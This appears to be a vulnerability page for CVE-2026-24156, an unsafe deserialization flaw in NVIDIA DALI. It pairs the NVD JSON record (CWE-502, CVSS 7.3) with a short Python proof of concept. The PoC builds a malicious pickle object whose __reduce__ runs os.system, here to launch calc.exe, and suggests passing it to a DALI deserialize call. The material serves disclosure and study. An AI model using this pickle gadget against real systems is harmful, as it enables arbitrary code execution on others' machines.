CVE-2026-24156

import pickle import os # PoC Concept for CVE-2026-24156: NVIDIA DALI Unsafe Deserialization # This demonstrates how a malicious payload could be crafted. class Exploit: def __reduce__(self): # The command to execute upon deserialization return (os.system, ('calc.exe',)) # Example command # Generate the malicious serialized object malicious_payload = pickle.dumps(Exploit()) # In a real scenario, this payload would be fed into the vulnerable # NVIDIA DALI deserialization interface, for example: # dali.fn.deserialize(malicious_payload) print("[+] Malicious payload generated for CVE-2026-24156")

{"cve": {"id": "CVE-2026-24156", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:39.647", "lastModified": "2026-04-08T21:27:00.663", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA DALI contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to arbitrary code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24156", "source": "[email protected]"}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5811", "source": "[email protected]"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-24156", "source": "[email protected]"}]}}